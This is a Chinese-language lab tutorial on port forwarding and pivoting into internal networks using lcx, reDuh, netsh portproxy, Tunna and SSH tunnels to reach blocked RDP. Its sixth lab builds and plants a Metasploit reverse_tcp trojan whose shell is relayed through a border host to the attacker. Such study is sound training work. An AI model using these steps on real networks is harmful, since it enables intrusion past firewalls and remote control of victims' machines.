反弹端口:是指受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
主要指以下情况: -1.访问服务器的3389端口,由于防火墙的原因,我们访问不了3389端口
原因:1.3389端口,防火墙没有开放
2.服务器处于公司内网,对外只发布了80端口
3.3389端口只允许内网连接
-2.服务器处于公司内网,我们没有办法直接访问服务器
-3.服务器处于公司内网,且无法与外网服务器直接通信,如何反弹shell
实验一:lcx正向反弹端口实验
lcx工具有三种模式:
1.listen监听
2.tran 转发 将一个端口的流量转发到另一个端口
3.slave 苦力 将一个外网端口和一个内网端口进行连接
lccx工具用法:lcx.exe -tran 1234(要监听的端口) 127.0.0.1 3389(转发的地址和端口)
实验环境:win2008
实验步骤:
1.将被控服务器的3389端口转发到本地的1234端口(本地端口转发)
2.外网服务器连接被控服务器的1234端口
实验二:reduh正向反弹的端口实验
实验环境:win2008开启防火墙,远程服务开启
实验步骤:
1.利用工具reduh(该工具可端口重用)
2.将reDuh.aspx放到攻击机的wwwroot目录下
3.进入direDuh-master\reDuhClient\dist文件夹,利用reDuhClient.jar工具
4.输入java -jar进入目录,继续输入:java -jar reDuhClient.jar aspx文件的路径
5.重新打开一个命令行利用 nc对本地开放的1010端口进行配置,连接本地的1010端口,输入:nc.exe -nvv 127.0.0.1 1010
6.连上之后,创建隧道,以3389端口为例,将本地的6666端口通过80端口(web服务)连接远程的3389端口
8.远程连接本地的6666端口,输入用户名和密码即可远程连接成功
实验三:lcx反向反弹端口实验
实验环境:win2008
实验步骤:
1.外网服务器开启监听,监听的第一个端口是被控的主机用来连接的端口,第二个是本地服务器来连接它的远程端口
输入:
lcx.exe -listen 4444 12345
2.将被控主机端口转发到外网服务器
输入:
lcx.exe -slave 公网ip + 端口 被控服务器ip + 端口
3.在外网服务器连接本地的12345端口,即可进行远程访问
实验四:lcx多级级联反弹内网主机端口实验一
实验环境:内网主机不能访问外网,但是可以访问同网段的内网机器,同时3389端口只能内网访问
实验步骤:
1.搭建环境 :内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.1.101,内网边界机2的ip:192.168.140.131和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2通,2-3通,1-3不通
2.攻击机1开启监听:lcx -listen 4444 12345
3.内网边界机2输入命令,将端口转发到攻击机1: lcx.exe -slave 攻击机1IP 端口 目标服务器3IP 端口
4.在攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345),远程访问成功
实验五:lcx多级级联反弹内网主机端口实验二
实验环境:内网主机不能访问外网,但是可以访问同网段的内网机器,同时3389端口只能本地访问,但是8080端口对外开放
实验步骤:
1.被控服务器3得80端口转发到本地得8080端口
2.在内网边界机2输入命令,将目标服务器3的8080端口转发到攻击机1
3.在攻击机1上监听端口
4.外网攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345),连接成功
实验六:反弹shell和反弹端口合并
实验环境:有时我们无法直接访问目标服务器,也就无法反弹shell,此时就需要一个内网的边缘机来进行转发端口,通过这个转发的端口再进行反弹shell
实验步骤:
1.在kali攻击机输入msfconsole打开msf,选择合适的payload
2.选择此payload,并制作对应的木马
3.上传1.exe到目标服务器3
4.攻击机kali开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost (本机ip)
exploit
5.内网边界机2输入命令将1234端口转发到攻击机1的4444端口
lcx.exe -tran 1234 192.168.140.137 4444
6.目标服务器3运行1.exe将1234端口发送到内网边界机2,再由内网边界机2将1234端口转发成4444端口发送给攻击机1,攻击机1就会接收到目标服务器3的shell
实验七:利用工具netsh(windows本身得防火墙机制)反弹端口
利用该工具必须要求有管理员权限 ,此工具适用于有一台双网卡服务器 ,你可以通过它进行内网通信
实验环境:
有时我们无法直接访问目标服务器,也就无法反弹shell,此时就需要一个内网的边缘机来进行转发端口,通过这个转发的端口再进行反弹shell
实验步骤:
1.添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网可访问网址 listenport=外网可访问端口 connectaddress=内网目标想要访问的地址 connectport=内网目标想要访问得端口
2.查看现有规则
netsh interface portproxy show all
3.远程连接
4.如果防火墙未关,可在命令行放行防火墙,再连接
netsh advfirewall firewall add rule name="myslq" dir=in protocol=tcp localport=外网可访问端口 action=allow
实验八:利用工具tunna反弹端口
利用该工具必须要求有管理员权限 ,此工具适用于有一台双网卡服务器 ,你可以通过它进行内网通信
实验环境:
win2003:两块网卡,ip分别为10.1.1.2和192.168.140.138
win2008,ip为10.1.1.1
实验步骤:
1.win2008的防火墙关了,开启远程桌面,在2003中安装web服务器
2.将tunna中得conn.aspx文件上传到win2003的wwwroot目录下
3.进入tunna目录,输入
python proxy.py -u http://192.168.140.138/conn.aspx -l 2345 -a 10.1.1.1 -r 3389 -s -v
4.远程连接
实验九:利用ssh隧道反弹端口
实验环境:
攻击机kali:192.168.140.137
Centos:网卡一:192.168.140.132
网卡二:10.1.1.3
win2003:10.1.1.2
实验步骤:
实验1:
1.本地转发,即正向代理
2.开启kali的ssh端口服务,开启方法请点击以下链查看
https://blog.csdn.net/cxrpty/article/details/104943903
3.攻击机kali创建隧道:ssh -CfNg -L 4444:10.1.1.2:3389 [email protected]
4.查看4444端口的进程:ps aux | grep 4444
5.查看端口监听情况:netstat -anpt
6.连接本地的4444端口:rdesktop 127.0.0.1:4444,即可连接远程桌面
7.关闭隧道,即关闭4444端口的pid:kill pid
实验2:
1.远端转发,即反向代理
2.ssh连接Centos机,创建隧道:ssh -CfNg -R 3333:10.1.1.2:3389 [email protected]
3.查看端口监听情况,可看到3333端口已监听
4.连接本地的3333端口:rdesktop 127.0.0.1:3333,即可连接成功
实验3:ssh动态隧道反弹端口
1.创建动态隧道:ssh -CfNg -D 7000 [email protected],并查看其端口监听情况
2.如果想要访问受害者的网页,可通过访问网页的动态隧道
依次点击设置—>advance—>netwwork—>setting,设置完成后即可访问